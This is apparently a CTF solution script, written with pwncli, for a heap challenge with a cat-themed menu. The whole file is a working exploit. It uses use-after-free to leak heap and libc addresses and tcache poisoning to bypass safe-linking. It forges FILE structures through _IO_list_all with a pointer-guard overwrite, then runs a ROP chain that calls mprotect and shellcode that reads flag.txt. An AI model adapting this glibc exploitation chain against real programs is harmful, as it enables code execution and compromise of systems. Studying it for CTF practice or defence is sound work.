1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
def add(i):
sla("Your choice >> ", "1")
sla("Which cat do you want to get? ", str(i))
def dele(i):
sla("Your choice >> ", "2")
sla("Which one do you want to abandon? ", str(i))
def show(i):
sla("Your choice >> ", "3")
sla("Choose a cat to show name: ", str(i))
ru("Name:")
m = rn(0x10)
info(f"get msg: {m}")
return m
def edit(i, data):
sla("Your choice >> ", "4")
sla("Which one?", str(i))
sa("Rename the cat: ", data)
add(0)
dele(0)
m = show(0)
heap_base = u64_ex(m[-8:]) - 0x10
log_address_ex("heap_base")
add(0)
add(1)
for i in range(0x30):
add(2)
dele(1)
dele(0)
edit(0, flat((heap_base + 0x290)^(heap_base >> 12), 0))
add(2)
add(2)
edit(2, flat(0, 0x421))
dele(0)
m = show(0)
libc_addr = u64_ex(m[:8])
libc_base = set_current_libc_base_and_log(libc_addr, 0x1e0c00)
target_addr = libc.sym._IO_list_all
add(1)
add(1)
add(1)
edit(2, flat(0, 0x461))
dele(0)
add(1)
add(0)
add(2)
dele(1)
dele(0)
edit(0, flat((heap_base + 0x2b0)^(heap_base >> 12), 0))
add(0)
add(0)
edit(0, flat(0, target_addr-0x20))
add(0)
dele(0)
edit(0, flat(0, 0))
dele(0)
edit(0, flat((heap_base + 0x330)^(heap_base >> 12), 0))
add(0)
add(0)
edit(0, flat(0, 0x441))
dele(2)
add(0)
def write_addt_0x10(addr, data):
edit(1, flat(0, 0))
dele(1)
edit(1, flat(0, 0))
dele(1)
edit(1, flat(addr^(heap_base >> 12), 0))
add(0)
add(0)
edit(0, data)
fake_IOFILE = heap_base + 0x330
fake_IOFILE2 = fake_IOFILE + 0x40
lock = libc_base + 0x1e3660
_IO_wstrn_jumps = libc_base + 0x1e1c60
_IO_cookie_jumps = libc_base + 0x1e1a20
point_guard_addr = libc_base + 0x1ed5b0
new_pointer_guard = fake_IOFILE + 0xf0
write_addt_0x10(fake_IOFILE + 0x60, flat(0, fake_IOFILE2))
write_addt_0x10(fake_IOFILE + 0x70, flat(8 << 32, 0))
write_addt_0x10(fake_IOFILE + 0x80, flat(0, lock))
write_addt_0x10(fake_IOFILE + 0xa0, flat(point_guard_addr, 0))
write_addt_0x10(fake_IOFILE + 0xd0, flat(0, _IO_wstrn_jumps))
write_addt_0x10(fake_IOFILE2 + 0x70, flat(8 << 32, 0))
write_addt_0x10(fake_IOFILE2 + 0x80, flat(0, lock))
write_addt_0x10(fake_IOFILE2 + 0xd0, flat(0, _IO_cookie_jumps+0x58))
"""
0x000000000014a0a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
0x0000000000059020: mov rsp, rdx; ret;
0x000000000010822d: add rsp, 0x30; pop rbx; ret;
0x0000000000028a55: pop rdi; ret;
0x000000000002a4cf: pop rsi; ret;
0x00000000000c7f32: pop rdx; ret;
"""
CurrentGadgets.set_find_area(0, 1)
fake_rdx = fake_IOFILE + 0x200
gadget_addr = CurrentGadgets.find_gadget('mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];','asm')
write_addt_0x10(fake_IOFILE2 + 0xe0, flat(fake_rdx, rol(gadget_addr ^ new_pointer_guard, 0x11)))
write_addt_0x10(fake_rdx, flat(CurrentGadgets.find_gadget('add rsp, 0x30; pop rbx; ret;','asm'), fake_rdx))
write_addt_0x10(fake_rdx+0x20, flat(CurrentGadgets.find_gadget('mov rsp, rdx; ret;','asm'), 0))
write_addt_0x10(fake_rdx+0x40, flat(CurrentGadgets.pop_rdi_ret(), heap_base))
write_addt_0x10(fake_rdx+0x50, flat(CurrentGadgets.pop_rsi_ret(), 0x10000))
write_addt_0x10(fake_rdx+0x60, flat(CurrentGadgets.pop_rdx_ret(), 7))
write_addt_0x10(fake_rdx+0x70, flat(libc.sym.mprotect, fake_rdx+0x80))
sc = asm(shellcraft.cat("flag.txt"))
mod = len(sc) % 0x10
if mod:
sc += b"\x90" * (0x10 - mod)
for i in range(len(sc) // 0x10):
write_addt_0x10(fake_rdx+0x80 + 0x10 * i, sc[0x10 * i: 0x10 * i + 0x10])
# to exit
edit(1, flat(0, 0))
dele(1)
edit(1, flat(0, 0))
dele(1)
edit(1, flat(libc.sym.__free_hook^(heap_base >> 12), 0))
add(0)
add(0)
ia()
|